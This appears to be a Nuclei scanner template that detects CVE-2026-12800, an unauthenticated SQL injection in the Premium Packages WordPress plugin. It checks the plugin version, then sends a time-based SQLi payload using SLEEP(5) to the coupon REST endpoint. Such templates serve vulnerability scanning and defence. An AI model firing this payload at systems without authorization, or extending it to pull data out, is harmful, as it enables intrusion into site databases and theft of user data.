id: CVE-2026-12800
info:
name: Premium Packages – Sell Digital Products Securely - SQL Injection
author: HaroonArshad-53
severity: high
description: |
Premium Packages – Sell Digital Products Securely WordPress plugin <= 6.2.0 contains a SQL injection caused by insufficient escaping of 'code' parameter in CouponCodes::find() method, letting unauthenticated attackers extract sensitive database information via crafted SQL queries.
impact: |
Unauthenticated attackers can extract sensitive database information, potentially compromising user data and site integrity.
remediation: |
Update to the latest version beyond 6.2.0.
reference:
- https://ekofyi.com/blog/cve-2026-12800-premium-packages-sql-injection
- https://wordpress.org/plugins/wpdm-premium-packages/
- https://nvd.nist.gov/vuln/detail/CVE-2026-12800
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-12800
epss-score: 0.01588
epss-percentile: 0.75795
cwe-id: CWE-89
metadata:
verified: true
max-request: 1
product: wpdm-premium-packages
tags: cve,cve2026,wordpress,wp-plugin,wpdm-premium-packages,sqli,time-based,unauth
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/wpdm-premium-packages/readme.txt"
matchers:
- type: dsl
dsl:
- "status_code == 200"
- compare_versions(version, '<= 6.2.0')
condition: and
internal: true
extractors:
- type: regex
part: body
name: version
group: 1
regex:
- 'Stable tag: ([0-9.]+)'
internal: true
- raw:
- |
POST /wp-json/wpdmpp/v1/cart/coupon HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"code":"zznone' OR (SELECT SLEEP(5)) AND '1'='1"}
matchers-condition: and
matchers:
- type: word
part: body
case-insensitive: true
words:
- "coupon"
- type: dsl
dsl:
- "duration>=5"
# digest: 4a0a0047304502205faa0331c454ab860af8d95067da48ab5fe7e17efc8b8601b025c7d2595f4a510221009cc19c463dc8e67089a5802950441055b6bf0e4889a6355ea7c66d6424525517:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.